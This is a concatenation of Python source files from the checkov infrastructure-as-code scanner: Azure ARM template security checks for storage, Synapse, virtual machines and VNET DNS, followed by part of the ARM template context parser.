checkov/arm/checks/resource/SecurityCenterStandardPricing.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SecurityCenterStandardPricing(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts name = "Ensure that standard pricing tier is selected" id = "CKV_AZURE_19" supported_resources = ('Microsoft.Security/pricings',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties"] if "properties" in conf: if "pricingTier" in conf["properties"]: self.evaluated_keys = ["properties/pricingTier"] if str(conf["properties"]["pricingTier"]).lower() == "standard": return CheckResult.PASSED return CheckResult.FAILED check = SecurityCenterStandardPricing() ================================================ FILE: checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts from checkov.common.util.type_forcers import force_int class StorageAccountAzureServicesAccessEnabled(BaseResourceCheck): def __init__(self) -> None: # properties.networkAcls.bypass == "AzureServices" # Fail if apiVersion less than 2017 as this setting wasn't available name = "Ensure 'Trusted Microsoft Services' is enabled for Storage Account access" id = "CKV_AZURE_36" supported_resources = ('Microsoft.Storage/storageAccounts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: # Fail if apiVersion < 2017 as you could not set networkAcls year = force_int(conf["apiVersion"][0:4]) if year is None: return CheckResult.UNKNOWN # Should be handled by variable rendering if year < 2017: self.evaluated_keys = ["apiVersion"] return CheckResult.FAILED self.evaluated_keys = ["properties"] if "properties" in conf: if "networkAcls" in conf["properties"]: self.evaluated_keys = ["properties/networkAcls"] if "defaultAction" in conf["properties"]["networkAcls"]: if not isinstance(conf["properties"]["networkAcls"], dict): return CheckResult.UNKNOWN if conf["properties"]["networkAcls"]["defaultAction"] == "Allow": return CheckResult.PASSED elif "bypass" in conf["properties"]["networkAcls"] and \ conf["properties"]["networkAcls"]["bypass"] == "AzureServices": return CheckResult.PASSED return CheckResult.FAILED check = StorageAccountAzureServicesAccessEnabled() ================================================ FILE: checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py ================================================ from __future__ import annotations from typing import Any, List from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts class StorageAccountDefaultNetworkAccessDeny(BaseResourceCheck): def __init__(self) -> None: # properties.networkAcls.bypass == "AzureServices" # Fail if apiVersion less than 2017 as this setting wasn't available name = "Ensure default network access rule for Storage Accounts is set to deny" id = "CKV_AZURE_35" supported_resources = ('Microsoft.Storage/storageAccounts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: # Fail if apiVersion < 2017 as you could not set networkAcls year = force_int(conf["apiVersion"][0:4]) if year is None: return CheckResult.UNKNOWN elif year < 2017: return CheckResult.FAILED if "properties" in conf: if "networkAcls" in conf["properties"]: if not isinstance(conf["properties"]["networkAcls"], dict): return CheckResult.UNKNOWN if "defaultAction" in conf["properties"]["networkAcls"]: if conf["properties"]["networkAcls"]["defaultAction"] == "Deny": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["apiVersion", "properties", "properties/networkAcls"] check = StorageAccountDefaultNetworkAccessDeny() ================================================ FILE: checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class StorageAccountDisablePublicAccess(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure that Storage accounts disallow public access" id = "CKV_AZURE_59" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_forbidden_values(self) -> list[Any]: return ["Enabled"] check = StorageAccountDisablePublicAccess() ================================================ FILE: checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class StorageAccountLoggingQueueServiceEnabled(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts/queueservices # https://github.com/MicrosoftDocs/azure-docs/issues/13195 # This check is only relevant for storageAccounts with Queue Service enabled # properties.networkAcls.bypass == "AzureServices" # Fail if apiVersion less than 2017 as this setting wasn't available name = "Ensure Storage logging is enabled for Queue service for read, write and delete requests" id = "CKV_AZURE_33" supported_resources = ('Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "logs" in conf["properties"]: if conf["properties"]["logs"]: storage = {} for log in conf["properties"]["logs"]: if "category" in log and "enabled" in log: if str(log["enabled"]).lower() == "true": storage[log["category"]] = True if "StorageRead" in storage.keys() and \ "StorageWrite" in storage.keys() and \ "StorageDelete" in storage.keys(): if storage["StorageRead"] and storage["StorageWrite"] and storage["StorageDelete"]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/logs'] check = StorageAccountLoggingQueueServiceEnabled() ================================================ FILE: checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class StorageAccountMinimumTlsVersion(BaseResourceCheck): def __init__(self) -> None: """ Looks for min_tls_version configuration at azurerm_storage_account to be set to TLS1_2 https://www.terraform.io/docs/providers/azurerm/r/storage_account.html#min_tls_version :param conf: azurerm_storage_account configuration :return: """ name = "Ensure Storage Account is using the latest version of TLS encryption" id = "CKV_AZURE_44" supported_resources = ('Microsoft.Storage/storageAccounts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf and \ "minimumTlsVersion" in conf["properties"] and \ conf["properties"]["minimumTlsVersion"] in ['TLS1_2']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/minimumTlsVersion'] check = StorageAccountMinimumTlsVersion() ================================================ FILE: checkov/arm/checks/resource/StorageAccountName.py ================================================ from __future__ import annotations import re import typing from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck STO_NAME_REGEX = re.compile(r"^[a-z0-9]{3,24}$") VARIABLE_REFS = ("local.", "module.", "var.", "random_string.", "random_id.", "random_integer.", "random_pet.", "azurecaf_name", "each.", "substring") class StorageAccountName(BaseResourceCheck): def __init__(self) -> None: """ Initializes a check to ensure that Storage Accounts adhere to the naming rules. The naming reference for Storage Accounts can be found here: https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts """ name = "Ensure Storage Accounts adhere to the naming rules" id = "CKV_AZURE_43" supported_resources = ['Microsoft.Storage/storageAccounts'] categories = [CheckCategories.CONVENTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, typing.Any]) -> CheckResult: """ The Storage Account naming reference: https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts :param conf: azurerm_storage_account configuration :return: """ if "name" in conf.keys(): name = conf["name"] if name: name = str(name) if any(x in name for x in VARIABLE_REFS): # in the case we couldn't evaluate the name, just ignore return CheckResult.UNKNOWN if re.findall(STO_NAME_REGEX, name): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> typing.List[str]: return ["name"] check = StorageAccountName() ================================================ FILE: checkov/arm/checks/resource/StorageAccountsTransportEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int class StorageAccountsTransportEncryption(BaseResourceCheck): def __init__(self) -> None: # supportsHttpsTrafficOnly: Allows https traffic only to storage service if sets to true. The default value is # true since API version 2019-04-01. name = "Ensure that 'supportsHttpsTrafficOnly' is set to 'true'" id = "CKV_AZURE_3" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties"] properties = conf.get("properties") if isinstance(properties, dict) and "supportsHttpsTrafficOnly" in properties: self.evaluated_keys = ["properties/supportsHttpsTrafficOnly"] https = str(properties["supportsHttpsTrafficOnly"]).lower() return CheckResult.PASSED if https == "true" else CheckResult.FAILED # Use default if supportsHttpsTrafficOnly is not set if "apiVersion" in conf: # Default for apiVersion 2019 and newer is supportsHttpsTrafficOnly = True year = force_int(conf["apiVersion"][0:4]) if year is None: return CheckResult.UNKNOWN elif year < 2019: self.evaluated_keys = ["apiVersion"] return CheckResult.FAILED else: return CheckResult.PASSED return CheckResult.FAILED check = StorageAccountsTransportEncryption() ================================================ FILE: checkov/arm/checks/resource/StorageAccountsUseReplication.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck from typing import Any, List class StorageAccountsUseReplication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Storage Accounts use replication" id = "CKV_AZURE_206" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: return "sku/name" def get_expected_value(self) -> Any: return "Standard_GRS" def get_expected_values(self) -> List[Any]: return ["Standard_GRS", "Standard_RAGRS", "Standard_GZRS", "Standard_RAGZRS"] check = StorageAccountsUseReplication() ================================================ FILE: checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class StorageBlobServiceContainerPrivateAccess(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts/blobservices/containers # publicAccess default is None name = "Ensure that 'Public access level' is set to Private for blob containers" id = "CKV_AZURE_34" supported_resources = ( 'Microsoft.Storage/storageAccounts/blobServices/containers', 'containers', 'blobServices/containers', ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: self.evaluated_keys = ["properties"] if "publicAccess" in conf["properties"]: self.evaluated_keys = ["properties/publicAccess"] if str(conf["properties"]["publicAccess"]).lower() == "container" or \ str(conf["properties"]["publicAccess"]).lower() == "blob": return CheckResult.FAILED return CheckResult.PASSED check = StorageBlobServiceContainerPrivateAccess() ================================================ FILE: checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure File Sync disables public network access" id = "CKV_AZURE_64" supported_resources = ('Microsoft.StorageSync/storageSyncServices',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return 'properties/incomingTrafficPolicy' def get_expected_value(self) -> str: return 'AllowVirtualNetworksOnly' check = NetworkInterfaceEnableIPForwarding() ================================================ FILE: checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SynapseWorkspaceAdministratorLoginPasswordHidden(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Synapse Workspace administrator login password is not exposed" id = "CKV_AZURE_239" supported_resources = ['Microsoft.Synapse/workspaces'] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get("properties", {}).get("sqlAdministratorLoginPassword"): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['properties/sqlAdministratorLoginPassword'] check = SynapseWorkspaceAdministratorLoginPasswordHidden() ================================================ FILE: checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class SynapseWorkspaceCMKEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Synapse Workspace is encrypted with a CMK" id = "CKV_AZURE_240" supported_resources = ['Microsoft.Synapse/workspaces'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: encryption = conf.get("properties", {}).get("encryption", {}) if "cmk" in encryption: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ['properties', 'properties/encryption'] check = SynapseWorkspaceCMKEncryption() ================================================ FILE: checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class SynapseWorkspaceEnablesDataExfilProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Synapse workspace has data_exfiltration_protection_enabled" id = "CKV_AZURE_157" supported_resources = ["Microsoft.Synapse/workspaces"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/dataExfiltrationProtectionEnabled' check = SynapseWorkspaceEnablesDataExfilProtection() ================================================ FILE: checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SynapseWorkspaceEnablesManagedVirtualNetworks(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure that Azure Synapse workspaces enables managed virtual networks" id = "CKV_AZURE_58" supported_resources = ['Microsoft.Synapse/workspaces'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/managedVirtualNetwork' def get_forbidden_values(self) -> list[Any]: return ["default"] check = SynapseWorkspaceEnablesManagedVirtualNetworks() ================================================ FILE: checkov/arm/checks/resource/VMCredsInCustomData.py ================================================ from typing import List, Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.secrets import string_has_secrets, AZURE, GENERAL from checkov.arm.base_resource_value_check import BaseResourceCheck class VMCredsInCustomData(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that no sensitive credentials are exposed in VM custom_data" id = "CKV_AZURE_45" supported_resources = ("Microsoft.Compute/virtualMachines",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties") if properties and isinstance(properties, dict): os_profile = properties.get("osProfile") if isinstance(os_profile, dict): custom_data = os_profile.get("customData") if isinstance(custom_data, str): if string_has_secrets(custom_data, AZURE, GENERAL): conf[f'{self.id}_secret'] = custom_data return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties/osProfile/customData"] check = VMCredsInCustomData() ================================================ FILE: checkov/arm/checks/resource/VMDisablePasswordAuthentication.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class VMDisablePasswordAuthentication(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Virtual machine does not enable password authentication" id = "CKV_AZURE_149" supported_resources = ( "Microsoft.Compute/virtualMachineScaleSets", "Microsoft.Compute/virtualMachines", ) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: os_profile = None properties = conf.get("properties") if properties and isinstance(properties, dict): self.evaluated_keys = ["properties"] if self.entity_type == "Microsoft.Compute/virtualMachines": tmp_os_profile = properties.get("osProfile") if tmp_os_profile and isinstance(tmp_os_profile, dict): self.evaluated_keys = ["properties/osProfile"] os_profile = tmp_os_profile elif self.entity_type == "Microsoft.Compute/virtualMachineScaleSets": vm_profile = properties.get("virtualMachineProfile") if vm_profile and isinstance(vm_profile, dict): tmp_os_profile = vm_profile.get("osProfile") if tmp_os_profile and isinstance(tmp_os_profile, dict): self.evaluated_keys = ["properties/virtualMachineProfile/osProfile"] os_profile = tmp_os_profile if os_profile is None: return CheckResult.UNKNOWN linux_config = os_profile.get("linuxConfiguration") if linux_config and isinstance(linux_config, dict): pass_auth = linux_config.get("disablePasswordAuthentication") if pass_auth and isinstance(pass_auth, bool): return CheckResult.PASSED if pass_auth and isinstance(pass_auth, bool) else CheckResult.FAILED return CheckResult.FAILED return CheckResult.UNKNOWN return CheckResult.FAILED check = VMDisablePasswordAuthentication() ================================================ FILE: checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from typing import Any from checkov.common.util.data_structures_utils import find_in_dict class VMEncryptionAtHostEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Virtual machine scale sets have encryption at host enabled" id = "CKV_AZURE_97" supported_resources = ("Microsoft.Compute/virtualMachineScaleSets", "Microsoft.Compute/virtualMachines") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: encryption = "" if self.entity_type == "Microsoft.Compute/virtualMachines": self.evaluated_keys = ["properties/securityProfile/encryptionAtHost"] encryption = find_in_dict(input_dict=conf, key_path="properties/securityProfile/encryptionAtHost") elif self.entity_type == "Microsoft.Compute/virtualMachineScaleSets": self.evaluated_keys = ["properties/virtualMachineProfile/securityProfile/encryptionAtHost"] encryption = find_in_dict( input_dict=conf, key_path="properties/virtualMachineProfile/securityProfile/encryptionAtHost" ) if str(encryption).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED check = VMEncryptionAtHostEnabled() ================================================ FILE: checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.data_structures_utils import find_in_dict class VMScaleSetsAutoOSImagePatchingEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets" id = "CKV_AZURE_95" supported_resources = ("Microsoft.Compute/virtualMachineScaleSets",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties") if properties and isinstance(properties, dict): if properties.get("orchestrationMode") == "Flexible": self.evaluated_keys = ["properties/orchestrationMode"] return CheckResult.FAILED self.evaluated_keys = ["properties/virtualMachineProfile/extensionProfile/extensions"] extensions = find_in_dict( input_dict=properties, key_path="virtualMachineProfile/extensionProfile/extensions", ) if extensions: for extension in extensions: extension_properties = extension.get("properties") if extension_properties and isinstance(extension_properties, dict): if extension_properties.get("enableAutomaticUpgrade") is True: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = VMScaleSetsAutoOSImagePatchingEnabled() ================================================ FILE: checkov/arm/checks/resource/VMStorageOsDisk.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_value_check import BaseResourceCheck class VMStorageOsDisk(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Virtual Machines use managed disks" id = "CKV_AZURE_92" supported_resources = ("Microsoft.Compute/virtualMachines",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get('properties') if not properties or not isinstance(properties, dict): return CheckResult.PASSED storage_profile = properties.get('storageProfile') if not storage_profile or not isinstance(storage_profile, dict): return CheckResult.PASSED os_disk = storage_profile.get('osDisk') data_disks = list(storage_profile.get('dataDisks', [])) if os_disk and isinstance(os_disk, dict) and "vhd" in os_disk: self.evaluated_keys = ['os_disk'] return CheckResult.FAILED if data_disks and any(isinstance(data_disk, dict) and "vhd" in data_disk for data_disk in data_disks): self.evaluated_keys = ['data_disks'] return CheckResult.FAILED self.evaluated_keys = ['os_disk'] if os_disk else [] if data_disks: self.evaluated_keys.append('data_disks') return CheckResult.PASSED check = VMStorageOsDisk() ================================================ FILE: checkov/arm/checks/resource/VnetLocalDNS.py ================================================ from ipaddress import ip_network, ip_address from typing import Any, List, Dict from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class VnetLocalDNS(BaseResourceCheck): def __init__(self) -> None: """Avoid taking a dependency on external DNS servers for local communication such as those deployed on-premises. Where possible consider deploying Azure Private DNS Zones, a platform-as-a-service (PaaS) DNS service for VNETs""" name = "Ensure that VNET uses local DNS addresses" id = "CKV_AZURE_183" supported_resources = ("Microsoft.Network/virtualNetworks",) categories = [CheckCategories.NETWORKING, ] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, List[Any]]]]) -> CheckResult: if "properties" in conf and "dhcpOptions" in conf["properties"]: if "dnsServers" in conf["properties"]["dhcpOptions"]: if isinstance(conf["properties"]["dhcpOptions"]["dnsServers"], list): dns_servers = conf["properties"]["dhcpOptions"]["dnsServers"] if dns_servers: for ip in dns_servers: if "addressSpace" in conf["properties"] and conf["properties"]["addressSpace"]: if "addressPrefixes" in conf["properties"]["addressSpace"]: if isinstance(conf["properties"]["addressSpace"]["addressPrefixes"], list): address_spaces = conf["properties"]["addressSpace"]["addressPrefixes"] if isinstance(address_spaces, list): for address_range in address_spaces: if not isinstance(address_range, str): continue try: net = ip_network(address_range) ip_add = ip_address(ip) if isinstance(ip, str) else None except ValueError: return CheckResult.UNKNOWN if isinstance(ip, str) and ip_add in net: return CheckResult.PASSED self.evaluated_keys = ["dnsServers"] return CheckResult.FAILED return CheckResult.PASSED check = VnetLocalDNS() ================================================ FILE: checkov/arm/checks/resource/VnetSingleDNSServer.py ================================================ from typing import Any, List, Dict from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class VnetSingleDNSServer(BaseResourceCheck): def __init__(self) -> None: """Using a single DNS server may indicate a single point of failure where the DNS IP address is not load balanced.""" name = "Ensure that VNET has at least 2 connected DNS Endpoints" id = "CKV_AZURE_182" supported_resources = ("Microsoft.Network/networkInterfaces", "Microsoft.Network/virtualNetworks") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, List[Any]]]]) -> CheckResult: if "properties" in conf and "dnsSettings" in conf["properties"]: if "dnsServers" in conf["properties"]["dnsSettings"] and isinstance( conf["properties"]["dnsSettings"]["dnsServers"], list): dns_servers = conf["properties"]["dnsSettings"]["dnsServers"] if dns_servers and len(dns_servers) == 1: self.evaluated_keys = ["dnsServers"] return CheckResult.FAILED else: if "properties" in conf and "dhcpOptions" in conf["properties"]: if "dnsServers" in conf["properties"]["dhcpOptions"] and isinstance( conf["properties"]["dhcpOptions"]["dnsServers"], list): dns_servers = conf["properties"]["dhcpOptions"]["dnsServers"] if dns_servers and len(dns_servers) == 1: self.evaluated_keys = ["dnsServers"] return CheckResult.FAILED return CheckResult.PASSED check = VnetSingleDNSServer() ================================================ FILE: checkov/arm/checks/resource/WinVMAutomaticUpdates.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class WinVMAutomaticUpdates(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Windows VM enables automatic updates" id = "CKV_AZURE_177" supported_resources = ("Microsoft.Compute/virtualMachines", "Microsoft.Compute/virtualMachineScaleSets") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED,) def get_inspected_key(self) -> str: if self.entity_type == "Microsoft.Compute/virtualMachineScaleSets": return "properties/virtualMachineProfile/osProfile/windowsConfiguration/enableAutomaticUpdates" return "properties/osProfile/windowsConfiguration/enableAutomaticUpdates" check = WinVMAutomaticUpdates() ================================================ FILE: checkov/arm/checks/resource/WinVMEncryptionAtHost.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class WinVMEncryptionAtHost(BaseResourceValueCheck): def __init__(self) -> None: """ If enabled, all the disks (including the temp disk) attached to this Virtual Machine will be encrypted If not enabled: https://learn.microsoft.com/en-gb/azure/virtual-machines/disks-enable-host-based-encryption-portal?tabs=azure-cli#prerequisites """ name = "Ensure Windows VM enables encryption" id = "CKV_AZURE_151" supported_resources = ("Microsoft.Compute/virtualMachines",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/securityProfile/encryptionAtHost" check = WinVMEncryptionAtHost() ================================================ FILE: checkov/arm/checks/resource/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/arm/context_parser.py ================================================ from __future__ import annotations import logging import operator import re from functools import reduce from typing import Any, TYPE_CHECKING, Generator from checkov.arm.utils import ArmElements from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.util.consts import LINE_FIELD_NAMES, START_LINE, END_LINE from checkov.common.util.type_forcers import force_list if TYPE_CHECKING: from checkov.common.typing import _SkippedCheck COMMENT_REGEX = re.compile(r'([A-Z_\d]+)(:[^\n]+)?') PARAMETERS_PATTERN = re.compile(r"\[parameters\('|'\)]") VARIABLES_PATTERN = re.compile(r"\[variables\('|'\)]") class ContextParser: """ ARM template context parser """ def __init__(self, arm_file: str, arm_template: dict[str, Any], arm_template_lines: list[tuple[int, str]]) -> None: self.arm_file = arm_file self.arm_template = arm_template self.arm_template_lines = arm_template_lines def evaluate_default_parameters(self) -> None: # Get parameter defaults and variable values parameter_defaults = {} if ArmElements.PARAMETERS in self.arm_template: for parameter, config in self.arm_template[ArmElements.PARAMETERS].items(): if parameter in LINE_FIELD_NAMES: continue if "defaultValue" in config: parameter_defaults[parameter] = config["defaultValue"] variable_values = {} if ArmElements.VARIABLES in self.arm_template: for var, config in self.arm_template[ArmElements.VARIABLES].items(): if var in LINE_FIELD_NAMES: continue variable_values[var] = config.get('value') if config.get('value') else config # Find paths to substitute parameters and variables keys_w_params = self.search_deep_values('[parameters(', self.arm_template, []) keys_w_vars = self.search_deep_values('[variables(', self.arm_template, []) # Substitute Parameters and Variables for key_entry in keys_w_params: try: param = re.sub( PARAMETERS_PATTERN, "", self._get_from_dict(dict(self.arm_template), key_entry[:-1])[key_entry[-1]], # type:ignore[index] # this will be a str ) if param in parameter_defaults: logging.debug(f"Replacing parameter {param} in file {self.arm_file} with default value: {parameter_defaults[param]}") self._set_in_dict(dict(self.arm_template), key_entry, parameter_defaults[param]) except TypeError: logging.debug(f"Failed to evaluate param in {self.arm_file}", exc_info=True) for key_entry in keys_w_vars: try: param = re.sub( VARIABLES_PATTERN, "", self._get_from_dict(dict(self.arm_template), key_entry[:-1])[key_entry[-1]], # type:ignore[index] # this will be a str ) if param in variable_values.keys(): self._set_in_dict(dict(self.arm_template), key_entry, variable_values[param]) logging.debug( "Replacing variable {} in file {} with default value: {}".format(param, self.arm_file, variable_values[param])) else: logging.debug("Variable {} not found in evaluated variables in file {}".format(param, self.arm_file)) except TypeError: logging.debug(f"Failed to evaluate param in {self.arm_file}", exc_info=True) @staticmethod def extract_arm_resource_id(arm_resource: dict[str, Any]) -> str | None: # if arm_resource_name == '__startline__' or arm_resource_name == '__endline__': # return if 'type' not in arm_resource: # This is not an ARM resource, skip return None if 'name' not in arm_resource: # This is not an ARM resource, skip return None return f"{arm_resource['type']}.{arm_resource['name']}" 